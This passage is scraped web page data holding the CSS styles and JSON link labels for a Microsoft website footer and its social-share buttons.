&:first-child {\r\n padding-left: 0;\r\n @media only screen and (max-width: 1083px) {\r\n padding-left: 12px;\r\n }\r\n }\r\n
@media only screen and (min-width: 540px) and (max-width: 1082px) {\r\n width: 33.33333%;\r\n }\r\n @media only
screen and (min-width: 1083px) {\r\n width: 16.6666666667%;\r\n }\r\n ul.c-list.f-bare {\r\n font-size: 11px;\r\n line-height:
16px;\r\n margin-top: 0;\r\n margin-bottom: 0;\r\n padding-left: 0;\r\n list-style-type: none;\r\n li {\r\n word-break: break-
word;\r\n padding: 8px 0;\r\n margin: 0;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n.c-uhff-base {\r\n background: #f2f2f2;\r\n margin: 0
auto;\r\n max-width: calc(1600px + 10%);\r\n padding: 30px 5% 16px;\r\n &:before,\r\n &:after {\r\n content: ' ';\r\n
display: table;\r\n }\r\n &:after {\r\n clear: both;\r\n }\r\n a.c-uhff-ccpa,\r\n a.c-uhff-consumer {\r\n display: flex;\r\n float:
left;\r\n font-size: 11px;\r\n line-height: 16px;\r\n padding: 4px 24px 0 0;\r\n }\r\n a.c-uhff-ccpa:hover,\r\n a.c-uhff-
consumer:hover {\r\n text-decoration: underline;\r\n }\r\n ul.c-list {\r\n font-size: 11px;\r\n line-height: 16px;\r\n float:
right;\r\n margin: 3px 0;\r\n color: #616161;\r\n li {\r\n padding: 0 24px 4px 0;\r\n display: inline-block;\r\n }\r\n }\r\n .c-
list.f-bare {\r\n padding-left: 0;\r\n list-style-type: none;\r\n }\r\n @media only screen and (max-width: 1083px) {\r\n
display: flex;\r\n flex-wrap: wrap;\r\n padding: 30px 24px 16px;\r\n }\r\n}\r\n\r\n.social-share {\r\n position: fixed;\r\n top:
60%;\r\n transform: translateY(-50%);\r\n left: 0;\r\n z-index: 1000;\r\n}\r\n\r\n.sharing-options {\r\n list-style: none;\r\n
padding: 0;\r\n margin: 0;\r\n display: block;\r\n flex-direction: column;\r\n background-color: white;\r\n width: 50px;\r\n
border-radius: 0px 7px 7px 0px;\r\n}\r\n.linkedin-icon {\r\n border-top-right-radius: 7px;\r\n}\r\n.linkedin-icon:hover {\r\n
border-radius: 0;\r\n}\r\n\r\n.social-share-email-image:hover {\r\n border-radius: 0;\r\n}\r\n\r\n.social-link-footer:hover
.linkedin-icon {\r\n border-radius: 0;\r\n}\r\n.social-link-footer:hover .social-share-email-image {\r\n border-radius:
0;\r\n}\r\n\r\n.social-link-footer img {\r\n width: 30px;\r\n height: auto;\r\n transition: filter 0.3s ease;\r\n}\r\n\r\n.social-
share-list {\r\n width: 50px;\r\n}\r\n.social-share-rss-image {\r\n width: 30px;\r\n height: auto;\r\n transition: filter 0.3s
ease;\r\n}\r\n.sharing-options li {\r\n width: 50px;\r\n height: 50px;\r\n padding: 8px;\r\n box-sizing: border-box;\r\n border:
2px solid white;\r\n display: inline-block;\r\n text-align: center;\r\n opacity: 1;\r\n visibility: visible;\r\n transition: border
0.3s ease; /* Smooth transition effect */\r\n border-left: none;\r\n border-bottom: none; /* Apply bottom border to only last
item */\r\n}\r\n\r\n.social-share-list-linkedin {\r\n background-color: #0474b4;\r\n border-top-right-radius: 5px; /* Rounded
top right corner of first item*/\r\n}\r\n.social-share-list-facebook {\r\n background-color: #3c5c9c;\r\n}\r\n.social-share-list-
xicon {\r\n background-color: #000;\r\n}\r\n.social-share-list-reddit {\r\n background-color: #fc4404;\r\n}\r\n.social-share-
list-bluesky {\r\n background-color: #f0f2f5;\r\n}\r\n.social-share-list-rss {\r\n background-color: #ec7b1c;\r\n}\r\n.social-
share-list-mail {\r\n background-color: #848484;\r\n border-bottom-right-radius: 5px; /* Rounded bottom right corner of last
item*/\r\n}\r\n.sharing-options li.social-share-list-mail {\r\n border-bottom: 2px solid white; /* Add bottom border only to
the last item */\r\n height: 52px; /* Increase last child height to make in align with the hover label */\r\n}\r\n.x-icon {\r\n
filter: invert(100%);\r\n transition: filter 0.3s ease;\r\n width: 20px !important;\r\n height: auto;\r\n padding-top: 5px
!important;\r\n}\r\n.bluesky-icon {\r\n filter: invert(20%) sepia(100%) saturate(3000%) hue-rotate(180deg);\r\n transition:
filter 0.3s ease;\r\n padding-top: 5px !important;\r\n width: 25px !important;\r\n}\r\n\r\n.share-icon {\r\n border: 2px solid
transparent;\r\n display: inline-block;\r\n position: relative;\r\n}\r\n\r\n.sharing-options li:hover {\r\n border: 2px solid
white;\r\n border-left: none;\r\n border-bottom: none;\r\n border-radius: 0px;\r\n}\r\n.sharing-options li.social-share-list-

mail:hover {\r\n border-bottom: 2px solid white; /* Add bottom border only to the last item */\r\n}\r\n\r\n.sharing-options li:hover .label {\r\n opacity: 1;\r\n visibility: visible;\r\n border: 2px solid white;\r\n box-sizing: border-box;\r\n border-left: none;\r\n}\r\n\r\n.label {\r\n position: absolute;\r\n left: 100%;\r\n white-space: nowrap;\r\n opacity: 0;\r\n visibility: hidden;\r\n transition: all 0.2s ease;\r\n color: white;\r\n border-radius: 0 10 0 10px;\r\n top: 50%;\r\n transform: translateY(-50%);\r\n height: 52px;\r\n display: flex;\r\n align-items: center;\r\n justify-content: center;\r\n padding: 10px 12px 15px 8px;\r\n border: 2px solid white;\r\n}\r\n.linkedin {\r\n background-color: #0474b4;\r\n border-top-right-radius: 5px; /* Rounded top right corner of first item*/\r\n}\r\n.facebook {\r\n background-color: #3c5c9c;\r\n}\r\n.twitter {\r\n background-color: black;\r\n color: white;\r\n}\r\n.reddit {\r\n background-color: #fc4404;\r\n}\r\n.mail {\r\n background-color: #848484;\r\n border-bottom-right-radius: 5px; /* Rounded bottom right corner of last item*/\r\n}\r\n.bluesky {\r\n background-color: #f0f2f5;\r\n color: black;\r\n}\r\n.rss {\r\n background-color: #ec7b1c;\r\n}\r\n\r\n@media (max-width: 991px) {\r\n .social-share {\r\n display: none;\r\n }\r\n}\r\n","texts":{"heading.whatsNew":"What's new","heading.store":"Microsoft Store","heading.education":"Education","heading.business":"Business","heading.developer":"Developer & IT","heading.company":"Company","link.whatsNew.surfacePro":"Surface Pro","aria.whatsNew.surfacePro":"Surface Pro What's new","link.whatsNew.surfaceLaptop":"Surface Laptop","aria.whatsNew.surfaceLaptop":"Surface Laptop What's new","link.whatsNew.surfaceLaptopStudio2":"Surface Laptop Studio 2","aria.whatsNew.surfaceLaptopStudio2":"Surface Laptop Studio 2 What's new","link.whatsNew.copilotOrganizations":"Copilot for organizations","aria.whatsNew.copilotOrganizations":"Copilot for organizations What's new","link.whatsNew.copilotPersonal":"Copilot for personal use","aria.whatsNew.copilotPersonal":"Copilot for personal use What's new","link.whatsNew.aiInWindows":"AI in Windows","aria.whatsNew.aiInWindows":"AI in Windows What's new","link.whatsNew.exploreProducts":"Explore Microsoft products","aria.whatsNew.exploreProducts":"Explore Microsoft products What's new","link.whatsNew.windows11Apps":"Windows 11 apps","aria.whatsNew.windows11Apps":"Windows 11 apps What's new","link.store.accountProfile":"Account profile","aria.store.accountProfile":"Account profile Microsoft Store","link.store.downloadCenter":"Download Center","aria.store.downloadCenter":"Download Center Microsoft Store","link.store.support":"Microsoft Store support","aria.store.support":"Microsoft Store support Microsoft Store","link.store.returns":"Returns","aria.store.returns":"Returns Microsoft Store","link.store.orderTracking":"Order tracking","aria.store.orderTracking":"Order tracking Microsoft Store","link.store.certifiedRefurbished":"Certified Refurbished","aria.store.certifiedRefurbished":"Certified Refurbished Microsoft Store","link.store.promise":"Microsoft Store Promise","aria.store.promise":"Microsoft Store Promise Microsoft Store","link.store.flexiblePayments":"Flexible Payments","aria.store.flexiblePayments":"Flexible Payments Microsoft Store","link.education.microsoftInEducation":"Microsoft in education","aria.education.microsoftInEducation":"Microsoft in education Education","link.education.devices":"Devices for education","aria.education.devices":"Devices for education Education","link.education.teams":"Microsoft Teams for Education","aria.education.teams":"Microsoft Teams for Education Education","link.education.m365":"Microsoft 365 Education","aria.education.m365":"Microsoft 365 Education Education","link.education.howToBuy":"How to buy for your school","aria.education.howToBuy":"How to buy for your school Education","link.education.training":"Educator training and development","aria.education.training":"Educator training and development Education","link.education.deals":"Deals for students and parents","aria.education.deals":"Deals for students and parents Education","link.education.ai":"AI for education","aria.education.ai":"AI for education Education","link.business.microsoftAi":"Microsoft AI","aria.business.microsoftAi":"Microsoft AI Business","link.business.security":"Microsoft Security","aria.business.security":"Microsoft Security Business","link.business.dynamics":"Dynamics 365","aria.business.dynamics":"Dynamics 365 Business","link.business.m365":"Microsoft 365","aria.business.m365":"Microsoft 365 Business","link.business.powerPlatform":"Microsoft Power Platform","aria.business.powerPlatform":"Microsoft Power Platform Business","link.business.teams":"Microsoft Teams","aria.business.teams":"Microsoft Teams Business","link.business.m365Copilot":"Microsoft 365 Copilot","aria.business.m365Copilot":"Microsoft 365 Copilot Business","link.business.smallBusiness":"Small Business","aria.business.smallBusiness":"Small Business Business","link.developer.azure":"Azure","aria.developer.azure":"Azure Developer & IT","link.developer.developerCenter":"Microsoft Developer","aria.developer.developerCenter":"Microsoft Developer Developer & IT","link.developer.learn":"Microsoft Learn","aria.developer.learn":"Microsoft Learn Developer & IT","link.developer.aiMarketplace":"Support for AI marketplace apps","aria.developer.aiMarketplace":"Support for AI marketplace apps Developer & IT","link.developer.techCommunity":"Microsoft Tech Community","aria.developer.techCommunity":"Microsoft Tech Community Developer & IT","link.developer.marketplace":"Microsoft Marketplace","aria.developer.marketplace":"Microsoft Marketplace Developer & IT","link.developer.marketplaceRewards":"Marketplace Rewards","aria.developer.marketplaceRewards":"Marketplace Rewards Developer & IT","link.developer.visualStudio":"Visual Studio","aria.developer.visualStudio":"Visual Studio Developer & IT","link.company.careers":"Careers","aria.company.careers":"Careers Company","link.company.about":"About Microsoft","aria.company.about":"About Microsoft Company","link.company.news":"Company news","aria.company.news":"Company news Company","link.company.privacy":"Privacy at Microsoft","aria.company.privacy":"Privacy at Microsoft Company","link.company.investors":"Investors","aria.company.investors":"Investors Company","link.company.diversity":"Diversity and inclusion","aria.company.diversity":"Diversity and inclusion Company","link.company.accessibility":"Accessibility","aria.company.accessibility":"Accessibility Company","link.company.sustainability":"Sustainability","aria.company.sustainability":"Sustainability Company","ccpa.label":"Your Privacy Choices","consumerhealthprivacy.label":"Consumer Health

Privacy","corp.sitemap":"Sitemap","corp.contact":"Contact Microsoft","corp.privacy":"Privacy","corp.manageCookies":"Manage cookies","corp.terms":"Terms of use","corp.trademarks":"Trademarks","corp.safetyEco":"Safety & eco","corp.recycling":"Recycling","corp.aboutAds":"About our ads","corp.microsoft":"Microsoft","social.linkedin.alt":"Share to LinkedIn","social.linkedin.label":"Share on LinkedIn","social.facebook.alt":"Share to Facebook","social.facebook.label":"Share on Facebook","social.x.alt":"Share to X","social.x.label":"Share on X","social.reddit.alt":"Share to Reddit","social.reddit.label":"Share on Reddit","social.bluesky.alt":"Share to Blue Sky","social.bluesky.label":"Share on Bluesky","social.rss.alt":"Subscribe to RSS","social.rss.label":"Share on RSS","social.email.alt":"Share to Email","social.email.label":"Share on Email"},"defaults":{"config":{"applicablePages":[],"description":"The Microsoft Footer","fetchedContent":null,"__typename":"ComponentConfiguration"},"props":[],"__typename":"ComponentProperties"},"components":[{"id":"custom.widget.MicrosoftFooter","form":null,"config":null,"props":[],"__typename":"Component"}],"grouping":"CUSTOM","__typename":"ComponentTemplate"},"properties":{"config":{"applicablePages":[],"description":"The Microsoft Footer","fetchedContent":null,"__typename":"ComponentConfiguration"},"props":[],"__typename":"ComponentProperties"},"form":null,"__typename":"Component","localOverride":false},"globalCss":{"css":".custom_widget_MicrosoftFooter_context-uhf_qp4x5_1 {\r\n min-width: 17.5rem;\r\n font-size: 0.9375rem;\r\n box-sizing: border-box;\r\n -ms-text-size-adjust: 100%;\r\n -webkit-text-size-adjust: 100%;\r\n & *,\r\n & *:before,\r\n & *:after {\r\n box-sizing: inherit;\r\n }\r\n a.custom_widget_MicrosoftFooter_c-uhff-link_qp4x5_23 {\r\n color: #616161;\r\n word-break: break-word;\r\n text-decoration: none;\r\n }\r\n &a:link,\r\n &a:focus,\r\n &a:hover,\r\n &a:active,\r\n &a:visited {\r\n text-decoration: none;\r\n color: inherit;\r\n }\r\n & div {\r\n font-family: 'Segoe UI', SegoeUI, 'Helvetica Neue', Helvetica, Arial, sans-serif;\r\n }\r\n}\r\n.custom_widget_MicrosoftFooter_c-uhff_qp4x5_23 {\r\n background: #f2f2f2;\r\n margin: -1.5625;\r\n width: auto;\r\n height: auto;\r\n}\r\n.custom_widget_MicrosoftFooter_c-uhff-nav_qp4x5_69 {\r\n margin: 0 auto;\r\n max-width: calc(100rem + 10%);\r\n padding: 0 5%;\r\n box-sizing: inherit;\r\n &:before,\r\n &:after {\r\n content: ' ';\r\n display: table;\r\n clear: left;\r\n }\r\n @media only screen and (max-width: 1083px) {\r\n padding-left: 0.75rem;\r\n }\r\n .custom_widget_MicrosoftFooter_c-heading-4_qp4x5_97 {\r\n color: #616161;\r\n word-break: break-word;\r\n font-size: 0.9375rem;\r\n line-height: 1.25rem;\r\n padding: 2.25rem 0 0.25rem;\r\n font-weight: 600;\r\n }\r\n .custom_widget_MicrosoftFooter_c-uhff-nav-row_qp4x5_113 {\r\n .custom_widget_MicrosoftFooter_c-uhff-nav-group_qp4x5_115 {\r\n display: block;\r\n float: left;\r\n min-height: 0.0625rem;\r\n vertical-align: text-top;\r\n padding: 0 0.75rem;\r\n width: 100%;\r\n zoom: 1;\r\n &:first-child {\r\n padding-left: 0;\r\n @media only screen and (max-width: 1083px) {\r\n padding-left: 0.75rem;\r\n }\r\n }\r\n @media only screen and (min-width: 540px) and (max-width: 1082px) {\r\n width: 33.33333%;\r\n }\r\n @media only screen and (min-width: 1083px) {\r\n width: 16.6666666667%;\r\n }\r\n ul.custom_widget_MicrosoftFooter_c-list_qp4x5_155.custom_widget_MicrosoftFooter_f-bare_qp4x5_155 {\r\n font-size: 0.6875rem;\r\n line-height: 1rem;\r\n margin-top: 0;\r\n margin-bottom: 0;\r\n padding-left: 0;\r\n list-style-type: none;\r\n li {\r\n word-break: break-word;\r\n padding: 0.5rem 0;\r\n margin: 0;\r\n }\r\n }\r\n }\r\n}\r\n.custom_widget_MicrosoftFooter_c-uhff-base_qp4x5_187 {\r\n background: #f2f2f2;\r\n margin: 0 auto;\r\n max-width: calc(100rem + 10%);\r\n padding: 1.875rem 5% 1rem;\r\n &:before,\r\n &:after {\r\n content: ' ';\r\n display: table;\r\n }\r\n &:after {\r\n clear: both;\r\n }\r\n a.custom_widget_MicrosoftFooter_c-uhff-ccpa_qp4x5_213,\r\n a.custom_widget_MicrosoftFooter_c-uhff-consumer_qp4x5_215 {\r\n display: flex;\r\n float: left;\r\n font-size: 0.6875rem;\r\n line-height: 1rem;\r\n padding: 0.25rem 1.5rem 0 0;\r\n }\r\n a.custom_widget_MicrosoftFooter_c-uhff-ccpa_qp4x5_213:hover,\r\n a.custom_widget_MicrosoftFooter_c-uhff-consumer_qp4x5_215:hover {\r\n text-decoration: underline;\r\n }\r\n ul.custom_widget_MicrosoftFooter_c-list_qp4x5_155 {\r\n font-size: 0.6875rem;\r\n line-height: 1rem;\r\n float: right;\r\n margin: 0.1875rem 0;\r\n color: #616161;\r\n li {\r\n padding: 0 1.5rem 0.25rem 0;\r\n display: inline-block;\r\n }\r\n }\r\n .custom_widget_MicrosoftFooter_c-list_qp4x5_155.custom_widget_MicrosoftFooter_f-bare_qp4x5_155 {\r\n padding-left: 0;\r\n list-style-type: none;\r\n }\r\n @media only screen and (max-width: 1083px) {\r\n display: flex;\r\n flex-wrap: wrap;\r\n padding: 1.875rem 1.5rem 1rem;\r\n }\r\n}\r\n.custom_widget_MicrosoftFooter_social-share_qp4x5_281 {\r\n position: fixed;\r\n top: 60%;\r\n transform: translateY(-50%);\r\n left: 0;\r\n z-index: 1000;\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-options_qp4x5_297 {\r\n list-style: none;\r\n padding: 0;\r\n margin: 0;\r\n display: block;\r\n flex-direction: column;\r\n background-color: white;\r\n width: 3.125rem;\r\n border-radius: 0 0.4375rem 0.4375rem 0;\r\n}\r\n.custom_widget_MicrosoftFooter_linkedin-icon_qp4x5_317 {\r\n border-top-right-radius: 7px;\r\n}\r\n.custom_widget_MicrosoftFooter_linkedin-icon_qp4x5_317:hover {\r\n border-radius: 0;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-email-image_qp4x5_331:hover {\r\n border-radius: 0;\r\n}\r\n.custom_widget_MicrosoftFooter_social-link-footer_qp4x5_339:hover .custom_widget_MicrosoftFooter_linkedin-icon_qp4x5_317 {\r\n border-radius: 0;\r\n}\r\n.custom_widget_MicrosoftFooter_social-link-footer_qp4x5_339:hover .custom_widget_MicrosoftFooter_social-share-email-image_qp4x5_331 {\r\n border-radius: 0;\r\n}\r\n.custom_widget_MicrosoftFooter_social-link-footer_qp4x5_339 img {\r\n width: 1.875rem;\r\n height: auto;\r\n transition: filter 0.3s ease;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list_qp4x5_365 {\r\n width: 3.125rem;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-rss-image_qp4x5_371 {\r\n width: 1.875rem;\r\n height: auto;\r\n transition: filter 0.3s ease;\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-options_qp4x5_297 li {\r\n width: 3.125rem;\r\n height: 3.125rem;\r\n padding: 0.5rem;\r\n box-sizing: border-box;\r\n border: 2px solid white;\r\n display: inline-block;\r\n text-align: center;\r\n opacity: 1;\r\n visibility: visible;\r\n transition: border 0.3s ease; /* Smooth transition

effect */\r\n border-left: none;\r\n border-bottom: none; /* Apply bottom border to only last item
*/\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list-linkedin_qp4x5_411 {\r\n background-color: #0474b4;\r\n
border-top-right-radius: 5px; /* Rounded top right corner of first item*/\r\n}\r\n.custom_widget_MicrosoftFooter_social-
share-list-facebook_qp4x5_419 {\r\n background-color: #3c5c9c;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-
list-xicon_qp4x5_425 {\r\n background-color: #000;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list-
reddit_qp4x5_431 {\r\n background-color: #fc4404;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list-
bluesky_qp4x5_437 {\r\n background-color: #f0f2f5;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list-
rss_qp4x5_443 {\r\n background-color: #ec7b1c;\r\n}\r\n.custom_widget_MicrosoftFooter_social-share-list-
mail_qp4x5_449 {\r\n background-color: #848484;\r\n border-bottom-right-radius: 5px; /* Rounded bottom right corner of
last item*/\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-options_qp4x5_297 li.custom_widget_MicrosoftFooter_social-
share-list-mail_qp4x5_449 {\r\n border-bottom: 2px solid white; /* Add bottom border only to the last item */\r\n height:
3.25rem; /* Increase last child height to make in align with the hover label */\r\n}\r\n.custom_widget_MicrosoftFooter_x-
icon_qp4x5_465 {\r\n filter: invert(100%);\r\n transition: filter 0.3s ease;\r\n width: 1.25rem !important;\r\n height: auto;\r\n
padding-top: 0.3125rem !important;\r\n}\r\n.custom_widget_MicrosoftFooter_bluesky-icon_qp4x5_479 {\r\n filter:
invert(20%) sepia(100%) saturate(3000%) hue-rotate(180deg);\r\n transition: filter 0.3s ease;\r\n padding-top: 0.3125rem
!important;\r\n width: 1.5625rem !important;\r\n}\r\n.custom_widget_MicrosoftFooter_share-icon_qp4x5_493 {\r\n border:
2px solid transparent;\r\n display: inline-block;\r\n position: relative;\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-
options_qp4x5_297 li:hover {\r\n border: 2px solid white;\r\n border-left: none;\r\n border-bottom: none;\r\n border-radius:
0;\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-options_qp4x5_297 li.custom_widget_MicrosoftFooter_social-share-
list-mail_qp4x5_449:hover {\r\n border-bottom: 2px solid white; /* Add bottom border only to the last item
*/\r\n}\r\n.custom_widget_MicrosoftFooter_sharing-options_qp4x5_297 li:hover
.custom_widget_MicrosoftFooter_label_qp4x5_525 {\r\n opacity: 1;\r\n visibility: visible;\r\n border: 2px solid white;\r\n
box-sizing: border-box;\r\n border-left: none;\r\n}\r\n.custom_widget_MicrosoftFooter_label_qp4x5_525 {\r\n position:
absolute;\r\n left: 100%;\r\n white-space: nowrap;\r\n opacity: 0;\r\n visibility: hidden;\r\n transition: all 0.2s ease;\r\n color:
white;\r\n border-radius: 0 10 0 0.625rem;\r\n top: 50%;\r\n transform: translateY(-50%);\r\n height: 3.25rem;\r\n display:
flex;\r\n align-items: center;\r\n justify-content: center;\r\n padding: 0.625rem 0.75rem 0.9375rem 0.5rem;\r\n border: 2px
solid white;\r\n}\r\n.custom_widget_MicrosoftFooter_linkedin_qp4x5_317 {\r\n background-color: #0474b4;\r\n border-
top-right-radius: 5px; /* Rounded top right corner of first
item*/\r\n}\r\n.custom_widget_MicrosoftFooter_facebook_qp4x5_585 {\r\n background-color:
#3c5c9c;\r\n}\r\n.custom_widget_MicrosoftFooter_twitter_qp4x5_591 {\r\n background-color: black;\r\n color:
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